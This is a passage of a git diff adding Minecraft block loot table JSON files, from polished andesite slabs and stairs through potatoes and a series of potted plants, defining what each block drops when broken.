b/src/data/minecraft/loot_tables/blocks/polished_andesite_slab.json @@ -0,0 +1,32 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:polished_andesite_slab", + "properties": { + "type": "double" + } + } + ], + "count": 2 + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:polished_andesite_slab" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/polished_andesite_stairs.json b/src/data/minecraft/loot_tables/blocks/polished_andesite_stairs.json new file mode 100644 index 00000000..590cfd58 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/polished_andesite_stairs.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:polished_andesite_stairs" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/polished_basalt.json b/src/data/minecraft/loot_tables/blocks/polished_basalt.json new file mode 100644 index 00000000..3dad7235 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/polished_basalt.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:polished_basalt" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/polished_blackstone.json b/src/data/minecraft/loot_tables/blocks/polished_blackstone.json new file mode 100644 index 00000000..63f4f229 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/polished_blackstone.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:polished_blackstone" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/polished_blackstone_brick_slab.json b/src/data/minecraft/loot_tables/blocks/polished_blackstone_brick_slab.json new file mode 100644 index 00000000..3da9847c --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/polished_blackstone_brick_slab.json @@ -0,0 +1,32 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:polished_blackstone_brick_slab", + "properties": { + "type": "double" + } + } + ], + "count": 2 + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:polished_blackstone_brick_slab" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/polished_blackstone_brick_stairs.json b/src/data/minecraft/loot_tables/blocks/polished_blackstone_brick_stairs.json new file mode 100644 index 00000000..160015d0 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/polished_blackstone_brick_stairs.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:polished_blackstone_brick_stairs" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/polished_blackstone_brick_wall.json b/src/data/minecraft/loot_tables/blocks/polished_blackstone_brick_wall.json new file mode 100644 index 00000000..18bed4d5 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/polished_blackstone_brick_wall.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:polished_blackstone_brick_wall" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/polished_blackstone_bricks.json b/src/data/minecraft/loot_tables/blocks/polished_blackstone_bricks.json new file mode 100644 index 00000000..edfbd6cd --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/polished_blackstone_bricks.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:polished_blackstone_bricks" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/polished_blackstone_button.json b/src/data/minecraft/loot_tables/blocks/polished_blackstone_button.json new file mode 100644 index 00000000..fb67cbf2 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/polished_blackstone_button.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:polished_blackstone_button" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/polished_blackstone_pressure_plate.json b/src/data/minecraft/loot_tables/blocks/polished_blackstone_pressure_plate.json new file mode 100644 index 00000000..ca28e72a --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/polished_blackstone_pressure_plate.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:polished_blackstone_pressure_plate" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/polished_blackstone_slab.json b/src/data/minecraft/loot_tables/blocks/polished_blackstone_slab.json new file mode 100644 index 00000000..8278cb02 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/polished_blackstone_slab.json @@ -0,0 +1,32 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:polished_blackstone_slab", + "properties": { + "type": "double" + } + } + ], + "count": 2 + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:polished_blackstone_slab" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/polished_blackstone_stairs.json b/src/data/minecraft/loot_tables/blocks/polished_blackstone_stairs.json new file mode 100644 index 00000000..3ff33fd1 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/polished_blackstone_stairs.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:polished_blackstone_stairs" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/polished_blackstone_wall.json b/src/data/minecraft/loot_tables/blocks/polished_blackstone_wall.json new file mode 100644 index 00000000..9d13c17d --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/polished_blackstone_wall.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:polished_blackstone_wall" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/polished_diorite.json b/src/data/minecraft/loot_tables/blocks/polished_diorite.json new file mode 100644 index 00000000..716577cc --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/polished_diorite.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:polished_diorite" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/polished_diorite_slab.json b/src/data/minecraft/loot_tables/blocks/polished_diorite_slab.json new file mode 100644 index 00000000..32b1cbb3 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/polished_diorite_slab.json @@ -0,0 +1,32 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:polished_diorite_slab", + "properties": { + "type": "double" + } + } + ], + "count": 2 + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:polished_diorite_slab" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/polished_diorite_stairs.json b/src/data/minecraft/loot_tables/blocks/polished_diorite_stairs.json new file mode 100644 index 00000000..1c7a7f07 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/polished_diorite_stairs.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:polished_diorite_stairs" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/polished_granite.json b/src/data/minecraft/loot_tables/blocks/polished_granite.json new file mode 100644 index 00000000..20982b11 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/polished_granite.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:polished_granite" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/polished_granite_slab.json b/src/data/minecraft/loot_tables/blocks/polished_granite_slab.json new file mode 100644 index 00000000..8dab6927 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/polished_granite_slab.json @@ -0,0 +1,32 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:polished_granite_slab", + "properties": { + "type": "double" + } + } + ], + "count": 2 + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:polished_granite_slab" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/polished_granite_stairs.json b/src/data/minecraft/loot_tables/blocks/polished_granite_stairs.json new file mode 100644 index 00000000..67eaa624 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/polished_granite_stairs.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:polished_granite_stairs" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/poppy.json b/src/data/minecraft/loot_tables/blocks/poppy.json new file mode 100644 index 00000000..9b81c200 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/poppy.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:poppy" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/potatoes.json b/src/data/minecraft/loot_tables/blocks/potatoes.json new file mode 100644 index 00000000..c285bdb0 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/potatoes.json @@ -0,0 +1,72 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1.0, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:potato" + } + ] + }, + { + "rolls": 1.0, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:apply_bonus", + "enchantment": "minecraft:fortune", + "formula": "minecraft:binomial_with_bonus_count", + "parameters": { + "extra": 3, + "probability": 0.5714286 + } + } + ], + "name": "minecraft:potato" + } + ], + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:potatoes", + "properties": { + "age": "7" + } + } + ] + }, + { + "rolls": 1.0, + "entries": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:random_chance", + "chance": 0.02 + } + ], + "name": "minecraft:poisonous_potato" + } + ], + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:potatoes", + "properties": { + "age": "7" + } + } + ] + } + ], + "functions": [ + { + "function": "minecraft:explosion_decay" + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/potted_acacia_sapling.json b/src/data/minecraft/loot_tables/blocks/potted_acacia_sapling.json new file mode 100644 index 00000000..fea6c086 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/potted_acacia_sapling.json @@ -0,0 +1,33 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:flower_pot" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:acacia_sapling" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/potted_allium.json b/src/data/minecraft/loot_tables/blocks/potted_allium.json new file mode 100644 index 00000000..8daae8f8 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/potted_allium.json @@ -0,0 +1,33 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:flower_pot" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:allium" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/potted_azure_bluet.json b/src/data/minecraft/loot_tables/blocks/potted_azure_bluet.json new file mode 100644 index 00000000..621ff4e7 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/potted_azure_bluet.json @@ -0,0 +1,33 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:flower_pot" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:azure_bluet" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/potted_bamboo.json b/src/data/minecraft/loot_tables/blocks/potted_bamboo.json new file mode 100644 index 00000000..0aae2b14 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/potted_bamboo.json @@ -0,0 +1,33 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:flower_pot" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:bamboo" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/potted_birch_sapling.json b/src/data/minecraft/loot_tables/blocks/potted_birch_sapling.json new file mode 100644 index 00000000..1446ff7e --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/potted_birch_sapling.json @@ -0,0 +1,33 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:flower_pot" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:birch_sapling" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/potted_blue_orchid.json b/src/data/minecraft/loot_tables/blocks/potted_blue_orchid.json new file mode 100644 index 00000000..e7428703 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/potted_blue_orchid.json @@ -0,0 +1,33 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:flower_pot" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:blue_orchid" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/potted_brown_mushroom.json b/src/data/minecraft/loot_tables/blocks/potted_brown_mushroom.json new file mode 100644 index 00000000..b737c8f7 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/potted_brown_mushroom.json @@ -0,0 +1,33 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:flower_pot" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:brown_mushroom" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/potted_cactus.json b/src/data/minecraft/loot_tables/blocks/potted_cactus.json new file mode 100644 index 00000000..fcfcc7a4 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/potted_cactus.json @@ -0,0 +1,33 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:flower_pot" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:cactus" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/potted_cornflower.json b/src/data/minecraft/loot_tables/blocks/potted_cornflower.json new file mode 100644 index 00000000..ad6326c6 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/potted_cornflower.json @@ -0,0 +1,33 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:flower_pot" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:cornflower" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/potted_crimson_fungus.json b/src/data/minecraft/loot_tables/blocks/potted_crimson_fungus.json new file mode 100644 index 00000000..d66020d2 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/potted_crimson_fungus.json @@ -0,0 +1,33 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:flower_pot" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:crimson_fungus" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/potted_crimson_roots.json b/src/data/minecraft/loot_tables/blocks/potted_crimson_roots.json new file mode 100644 index 00000000..87c699f1 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/potted_crimson_roots.json @@ -0,0 +1,33 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:flower_pot" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:crimson_roots" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/potted_dandelion.json b/src/data/minecraft/loot_tables/blocks/potted_dandelion.json new file mode 100644 index 00000000..637b5921 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/potted_dandelion.json @@ -0,0 +1,33 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:flower_pot" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:dandelion" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/potted_dark_oak_sapling.json b/src/data/minecraft/loot_tables/blocks/potted_dark_oak_sapling.json new file mode 100644 index 00000000..7587d061 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/potted_dark_oak_sapling.json @@ -0,0 +1,33 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:flower_pot" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:dark_oak_sapling" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/potted_dead_bush.json b/src/data/minecraft/loot_tables/blocks/potted_dead_bush.json new file mode 100644 index 00000000..ade7fe65 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/potted_dead_bush.json @@ -0,0 +1,33 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:flower_pot" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:dead_bush" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/potted_fern.json b/src/data/minecraft/loot_tables/blocks/potted_fern.json new file mode 100644 index 00000000..20e4f4f0 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/potted_fern.json @@ -0,0 +1,33 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:flower_pot" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:fern" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/potted_jungle_sapling.json b/src/data/minecraft/loot_tables/blocks/potted_jungle_sapling.json new file mode 100644 index 00000000..6ad74531 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/potted_jungle_sapling.json @@ -0,0 +1,33 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:flower_pot" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:jungle_sapling" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/potted_lily_of_the_valley.json b/src/data/minecraft/loot_tables/blocks/potted_lily_of_the_valley.json new file mode 100644 index 00000000..3d60c25b --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/potted_lily_of_the_valley.json @@ -0,0 +1,33 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:flower_pot" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:lily_of_the_valley" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/potted_oak_sapling.json b/src/data/minecraft/loot_tables/blocks/potted_oak_sapling.json new file mode 100644 index 00000000..5bad4b74 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/potted_oak_sapling.json @@ -0,0 +1,33 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:flower_pot" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:oak_sapling" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/potted_orange_tulip.json b/src/data/minecraft/loot_tables/blocks/potted_orange_tulip.json new file mode 100644 index 00000000..75d920da --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/potted_orange_tulip.json @@ -0,0 +1,33 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:flower_pot" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:orange_tulip" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/potted_oxeye_daisy.json b/src/data/minecraft/loot_tables/blocks/potted_oxeye_daisy.json new file mode 100644 index 00000000..d0b347f6 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/potted_oxeye_daisy.json @@ -0,0 +1,33 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:flower_pot" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:oxeye_daisy" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/potted_pink_tulip.json b/src/data/minecraft/loot_tables/blocks/potted_pink_tulip.json new file mode 100644 index 00000000..b4664c3c --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/potted_pink_tulip.json @@ -0,0 +1,33 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:flower_pot" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:pink_tulip" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/potted_poppy.json b/src/data/minecraft/loot_tables/blocks/potted_poppy.json new file mode 100644 index 00000000..5c3598af --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/potted_poppy.json @@ -0,0 +1,33 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:flower_pot" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:poppy" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/potted_red_mushroom.json b/src/data/minecraft/loot_tables/blocks/potted_red_mushroom.json new file mode 100644 index 00000000..c79aa842 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/potted_red_mushroom.json @@ -0,0 +1,33 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:flower_pot" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:red_mushroom" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/potted_red_tulip.json b/src/data/minecraft/loot_tables/blocks/potted_red_tulip.json new file mode 100644 index 00000000..9860c434 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/potted_red_tulip.json @@ -0,0 +1,33 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:flower_pot" + } + ], + "conditions": [ + { + "condition": 